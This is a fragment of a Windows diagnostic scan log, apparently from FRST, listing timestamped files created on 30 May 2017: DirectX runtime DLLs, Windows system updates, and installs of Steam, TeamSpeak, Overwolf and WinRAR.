2017-05-30 22:03 - 2008-07-10 11:00 - 04992520 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 03851784 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01942552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01493528 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_39.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00511496 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00507400 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00068104 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00065032 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:16 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 04991496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 03850760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01941528 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01491992 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_38.dll
2017-05-30 22:03 - 2008-03-05 16:04 - 00489480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00479752 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 04910088 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 03786760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01860120 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01420824 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00529424 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00462864 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_37.dll
2017-05-30 22:03 - 2007-10-22 03:40 - 00411656 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:39 - 00267272 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00021000 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00017928 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 05081608 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 03734536 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 02006552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 01374232 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_36.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00411496 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00267112 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 05073256 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 03727720 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01985904 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01358192 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_35.dll
2017-05-30 22:03 - 2007-06-20 20:49 - 00409960 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_8.dll
2017-05-30 22:03 - 2007-06-20 20:46 - 00266088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_8.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 04496232 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 03497832 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01401200 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01124720 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_34.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00403304 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00261480 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:54 - 00107368 _____ (Microsoft Corporation) C:\windows\system32\xinput1_3.dll
2017-05-30 22:03 - 2007-04-04 18:53 - 00081768 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_3.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 04494184 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 03495784 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01400176 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-12 16:42 - 01123696 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_33.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00017688 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_1.dll
2017-05-30 22:03 - 2007-03-05 12:42 - 00015128 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_1.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00393576 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_6.dll
2017-05-30 22:03 - 2007-01-24 15:27 - 00255848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_6.dll
2017-05-30 22:03 - 2006-12-08 12:02 - 00251672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_5.dll
2017-05-30 22:03 - 2006-12-08 12:00 - 00390424 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_5.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 04398360 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 03426072 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_32.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00469264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10.dll
2017-05-30 22:03 - 2006-11-29 13:06 - 00440080 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 03977496 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 02414360 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_31.dll
2017-05-30 22:03 - 2006-09-28 16:05 - 00237848 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_4.dll
2017-05-30 22:03 - 2006-09-28 16:04 - 00364824 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_4.dll
2017-05-30 22:03 - 2006-07-28 09:31 - 00083736 _____ (Microsoft Corporation) C:\windows\system32\xinput1_2.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00363288 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00236824 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_3.dll
2017-05-30 22:03 - 2006-07-28 09:30 - 00062744 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_2.dll
2017-05-30 22:03 - 2006-05-31 07:24 - 00230168 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_2.dll
2017-05-30 22:03 - 2006-05-31 07:22 - 00354072 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_2.dll
2017-05-30 22:03 - 2006-03-31 12:41 - 03927248 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 02388176 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_30.dll
2017-05-30 22:03 - 2006-03-31 12:40 - 00352464 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00229584 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00083664 _____ (Microsoft Corporation) C:\windows\system32\xinput1_1.dll
2017-05-30 22:03 - 2006-03-31 12:39 - 00062672 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_1.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 03830992 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:43 - 02332368 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_29.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00355536 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:42 - 00230096 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00016592 _____ (Microsoft Corporation) C:\windows\system32\x3daudio1_0.dll
2017-05-30 22:03 - 2006-02-03 08:41 - 00014032 _____ (Microsoft Corporation) C:\windows\SysWOW64\x3daudio1_0.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 03815120 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_28.dll
2017-05-30 22:03 - 2005-12-05 18:09 - 02323664 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_28.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 03807440 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_27.dll
2017-05-30 22:03 - 2005-07-22 19:59 - 02319568 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_27.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 03767504 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_26.dll
2017-05-30 22:03 - 2005-05-26 15:34 - 02297552 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_26.dll
2017-05-30 22:03 - 2005-03-18 17:19 - 03823312 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_25.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 03544272 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_24.dll
2017-05-30 22:03 - 2005-02-05 19:45 - 02222800 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_24.dll
2017-05-30 22:02 - 2017-05-30 22:02 - 00000000 ____D C:\Users\****\Documents\My Games
2017-05-30 21:29 - 2017-05-30 21:29 - 00000202 _____ C:\Users\****\Desktop\Rocket League.url
2017-05-30 21:28 - 2017-05-30 21:28 - 00000201 _____ C:\Users\****\Desktop\Mount & Blade Warband.url
2017-05-30 21:23 - 2017-05-30 21:23 - 00000554 _____ C:\Users\Public\Desktop\Steam.lnk
2017-05-30 21:23 - 2017-05-30 21:23 - 00000000 ____D C:\Users\****\AppData\Roaming\NVIDIA
2017-05-30 21:14 - 2015-09-24 20:45 - 05017446 _____ C:\Users\****\Desktop\Tracers.zip
2017-05-30 21:14 - 2014-07-07 19:02 - 04001792 _____ C:\Users\****\Desktop\Uniformen+Banner(Finalversion).rar
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\Steam
2017-05-30 20:57 - 2017-05-30 20:57 - 00000000 ____D C:\Users\****\AppData\Local\CEF
2017-05-30 20:55 - 2017-05-30 20:55 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-30 20:53 - 2017-05-30 20:53 - 01446792 _____ C:\Users\****\Downloads\SteamSetup.exe
2017-05-30 20:52 - 2017-05-30 20:52 - 00000000 ____H C:\windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf
2017-05-30 20:45 - 2017-05-30 20:45 - 00004382 _____ C:\windows\System32\Tasks\Overwolf Updater Task
2017-05-30 20:45 - 2017-05-30 20:45 - 00001156 _____ C:\Users\Public\Desktop\Overwolf.lnk
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.TeamSpeak 3
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Users\****\.QtWebEngineProcess
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\ProgramData\Overwolf
2017-05-30 20:45 - 2017-05-30 20:45 - 00000000 ____D C:\Program Files (x86)\Overwolf
2017-05-30 20:44 - 2017-06-03 15:47 - 00000000 ____D C:\Users\****\AppData\Local\Overwolf
2017-05-30 20:44 - 2017-06-03 11:20 - 00000000 ____D C:\Users\****\AppData\Roaming\TS3Client
2017-05-30 20:44 - 2017-05-30 20:44 - 00001014 _____ C:\Users\Public\Desktop\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000976 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamSpeak 3 Client.lnk
2017-05-30 20:44 - 2017-05-30 20:44 - 00000000 ____D C:\Program Files\TeamSpeak 3 Client
2017-05-30 20:42 - 2017-05-30 20:43 - 77604984 _____ (TeamSpeak Systems GmbH) C:\Users\****\Downloads\TeamSpeak3-Client-win64-3.1.4.exe
2017-05-30 20:42 - 2017-05-30 20:42 - 00001054 _____ C:\Users\Public\Desktop\WinRAR.lnk
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR
2017-05-30 20:42 - 2017-05-30 20:42 - 00000000 ____D C:\Program Files\WinRAR
2017-05-30 20:41 - 2017-05-30 20:41 - 02309992 _____ C:\Users\****\Downloads\winrar-x64-540d.exe
2017-05-30 11:06 - 2017-05-20 11:13 - 01333136 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctf.dll
2017-05-30 11:06 - 2017-05-20 11:13 - 00626528 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 10:55 - 00606960 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 10:53 - 02259760 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 10:48 - 04469832 _____ (Microsoft Corporation) C:\windows\SysWOW64\explorer.exe
2017-05-30 11:06 - 2017-05-20 10:47 - 01474800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.ApplicationModel.Store.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 05821496 _____ (Microsoft Corporation) C:\windows\SysWOW64\windows.storage.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 01266544 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinapi.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:46 - 00754080 _____ (Microsoft Corporation) C:\windows\SysWOW64\LicenseManager.dll
2017-05-30 11:06 - 2017-05-20 10:45 - 00349600 _____ (Microsoft Corporation) C:\windows\SysWOW64\msv1_0.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00519680 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppXDeploymentClient.dll
2017-05-30 11:06 - 2017-05-20 10:44 - 00181664 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxAllUserStore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 06760024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Protection.PlayReady.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 05802968 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 04672848 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfcore.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 02424016 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmp4srcsnk.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01529384 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmde.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01455592 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfplat.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 01120864 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsvr.dll
2017-05-30 11:06 - 2017-05-20 10:43 - 00354400 _____ (Microsoft Corporation) C:\windows\SysWOW64\MMDevAPI.dll
2017-05-30 11:06 - 2017-05-20 10:42 - 20373920 _____ (Microsoft Corporation) C:\windows\SysWOW64\shell32.dll
2017-05-30 11:06 - 2017-05-20 10:40 - 00583160 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 13840384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.dll
2017-05-30 11:06 - 2017-05-20 10:29 - 00584192 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIRibbonRes.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 02199552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Resources.dll
2017-05-30 11:06 - 2017-05-20 10:27 - 00141824 _____ (Microsoft Corporation) C:\windows\SysWOW64\smartscreenps.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00059904 _____ C:\windows\SysWOW64\xboxgipsynthetic.dll
2017-05-30 11:06 - 2017-05-20 10:26 - 00025088 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcconf.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 20505088 _____ (Microsoft Corporation) C:\windows\SysWOW64\edgehtml.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00826368 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSMDesktopProvider.dll
2017-05-30 11:06 - 2017-05-20 10:25 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.Diagnostics.dll
2017-05-30 11:06 - 2017-05-20 10:24 - 00362496 _____ (Microsoft Corporation) C:\windows\SysWOW64\daxexec.dll
2017-05-30 11:06 - 2017-05-20 10:23 - 06728192 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 19334656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtml.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 01292288 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVPXENC.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00754176 _____ (Microsoft Corporation) C:\windows\SysWOW64\MessagingDataModel2.dll
2017-05-30 11:06 - 2017-05-20 10:22 - 00394240 _____ (Microsoft Corporation) C:\windows\SysWOW64\DictationManager.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 01984000 _____ (Microsoft Corporation) C:\windows\SysWOW64\DeviceFlows.DataModel.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00476672 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneDriveSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:21 - 00444928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Launcher.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00807424 _____ (Microsoft Corporation) C:\windows\SysWOW64\StoreAgent.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00507392 _____ (Microsoft Corporation) C:\windows\SysWOW64\vbscript.dll
2017-05-30 11:06 - 2017-05-20 10:20 - 00368128 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgentUserBroker.exe
2017-05-30 11:06 - 2017-05-20 10:20 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActivationManager.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 05719040 _____ (Microsoft Corporation) C:\windows\SysWOW64\BingMaps.dll
2017-05-30 11:06 - 2017-05-20 10:19 - 00636416 _____ (Microsoft Corporation) C:\windows\SysWOW64\WpcWebFilter.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 06292992 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakra.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01450496 _____ (Microsoft Corporation) C:\windows\SysWOW64\UIAutomationCore.dll
2017-05-30 11:06 - 2017-05-20 10:18 - 01248768 _____ (Microsoft Corporation) C:\windows\SysWOW64\AzureSettingSyncProvider.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 11870720 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieframe.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00952832 _____ (Microsoft Corporation) C:\windows\SysWOW64\comdlg32.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00909312 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSyncCore.dll
2017-05-30 11:06 - 2017-05-20 10:17 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\InstallAgent.exe
2017-05-30 11:06 - 2017-05-20 10:17 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\cldapi.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 05225984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d2d1.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 03667456 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_47.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02588160 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapRouter.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 02298368 _____ (Microsoft Corporation) C:\windows\SysWOW64\dwmcore.dll
2017-05-30 11:06 - 2017-05-20 10:16 - 00899584 _____ (Microsoft Corporation) C:\windows\SysWOW64\twinui.appcore.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 02088960 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapGeocoder.dll
2017-05-30 11:06 - 2017-05-20 10:15 - 01019904 _____ (Microsoft Corporation) C:\windows\SysWOW64\aadtb.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04559360 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbgeng.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04417024 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExplorerFrame.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 04056576 _____ (Microsoft Corporation) C:\windows\SysWOW64\MFMediaEngine.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02679296 _____ (Microsoft Corporation) C:\windows\SysWOW64\SRH.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 02211328 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputService.dll
2017-05-30 11:06 - 2017-05-20 10:14 - 01035264 _____ (Microsoft Corporation) C:\windows\SysWOW64\ShareHost.dll
2017-05-30 11:06 - 2017-05-20 10:11 - 01536512 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Immersive.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00332800 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Midi.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\NPSM.dll
2017-05-30 11:06 - 2017-05-20 10:10 - 00089088 _____ (Microsoft Corporation) C:\windows\SysWOW64\olepro32.dll
2017-05-30 11:06 - 2017-05-20 10:08 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\RstrtMgr.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01459728 _____ (Microsoft Corporation) C:\windows\system32\msctf.dll
2017-05-30 11:06 - 2017-05-20 09:08 - 01147296 _____ (Microsoft Corporation) C:\windows\system32\hvix64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 01024928 _____ (Microsoft Corporation) C:\windows\system32\hvax64.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00750560 _____ (Microsoft Corporation) C:\windows\system32\fontdrvhost.exe
2017-05-30 11:06 - 2017-05-20 09:08 - 00543648 _____ (Microsoft Corporation) C:\windows\system32\securekernel.exe
2017-05-30 11:06 - 2017-05-20 09:07 - 00287648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sdbus.sys
2017-05-30 11:06 - 2017-05-20 09:03 - 08320928 _____ (Microsoft Corporation) C:\windows\system32\ntoskrnl.exe
2017-05-30 11:06 - 2017-05-20 09:03 - 00777400 _____ (Microsoft Corporation) C:\windows\system32\oleaut32.dll
2017-05-30 11:06 - 2017-05-20 09:02 - 02969880 _____ (Microsoft Corporation) C:\windows\system32\CoreUIComponents.dll
2017-05-30 11:06 - 2017-05-20 09:01 - 00923040 _____ (Microsoft Corporation) C:\windows\system32\CoreMessaging.dll
2017-05-30 11:06 - 2017-05-20 08:59 - 00112544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dam.sys
2017-05-30 11:06 - 2017-05-20 08:58 - 00188824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpsd.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 04847928 _____ (Microsoft Corporation) C:\windows\explorer.exe
2017-05-30 11:06 - 2017-05-20 08:56 - 02444192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgkrnl.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00712608 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms2.sys
2017-05-30 11:06 - 2017-05-20 08:56 - 00370928 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsAdminFlows.exe
2017-05-30 11:06 - 2017-05-20 08:55 - 07325584 _____ (Microsoft Corporation) C:\windows\system32\windows.storage.dll
